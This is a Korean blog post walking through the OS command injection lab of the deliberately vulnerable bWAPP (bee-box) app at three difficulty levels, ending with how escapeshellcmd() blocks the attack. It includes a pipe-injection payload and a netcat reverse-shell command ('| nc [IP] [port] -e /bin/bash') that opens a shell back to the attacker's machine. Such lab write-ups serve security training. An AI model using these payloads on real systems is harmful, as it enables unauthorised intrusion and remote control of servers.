OS Command Injection이란 취약한 변수에 악의적인 코드나 명령어를 주입하여 서버 운영체제에 접근하는 공격을 말한다.
↓Low level
os 커맨드 인젝션 페이지이다.
입력한 주소의 DNS 주소를 출력해주는데 이때 nslookup 시스템 명령어를 사용하여 DNS 주소를 조회하게 된다.
ls 명령어를 사용해 디렉터리 목록을 출력해보자.
ls 앞에 |(파이프라인)을 입력한 것을 확인할 수 있다.
파이프라인은 둘 이상의 명령어를 실행할 때 사용하며 한줄에 여러개의 명령어를 사용할 수 있다.
위 사진과 같이 명령어를 입력하게 되면 가장 상위의 디렉터리 정보가 출력되는 것을 확인할 수 있다.
다음은 nc(넷켓)을 사용해 비박스의 서버정보를 파악해보자.
리눅스에서 터미널을 열어 다음과 같이 명령어를 입력한다.
-l은 리스닝 모드, -p는 포트번호를 지정하는 옵션이다.
다음은 비박스 os 커맨드 인젝션 페이지로 돌아와 다음과 같이 입력하여 넷캣과 연결한다.
| nc [본인 칼리리눅스의 ip주소] [포트번호] -e /bin/bash
-e 옵션은 exec의 줄임말이며 옵션을 실행할 수 있다.
/bin/bash는 칼리리눅스 상에서 명령어 해석기인 bash쉘을 말한다.
넷캣을 통하여 ls 명령어를 실행한 모습이다.
↓Medium level
난이도 중에서는 똑같이 명령어가 실행된다.
이는 &문자와 ;문자만을 공백문자로 변환하기 때문이다.
유닉스 리눅스에는 파이프라인을 제외하고도 다중명령어를 사용할 수 있는 특수문자들이 많이 존재하는데
&문자와 ;문자가 그 예시이다.
↓High level
난이도 상에서는 난이도 하와 같이 명령어를 입력하여도 아무런 반응이 일어나지 않는다.
commandi.php의 소스코드를 살펴본 결과 commandi_check_2() 함수에 의해 인젝션이 불가하다는 것을 알 수 있다.
commandi_check_2() 함수를 살펴보자.
commandi_check_2() 함수를 살펴본 결과 escapeshellcmd() 함수의 결과 값을 리턴하는 것을 확인할 수 있다.
escapeshellcmd() 함수란 시스템 셸로 실행할 수 있는 특수문자에 \(백슬래쉬)를 붙여 명령을 실행할 수 없게 만든다.
'bWAPP' 카테고리의 다른 글
[비박스] SSI Injection (0) | 2020.04.22 |
---|---|
[비박스] PHP Code Injection (0) | 2020.04.17 |
[비박스] iFrame Injection (0) | 2020.04.13 |
[비박스] HTML Injection - Stored (Blog) (0) | 2020.04.05 |
[비박스] HTML Injection - Reflected (POST) (0) | 2020.04.04 |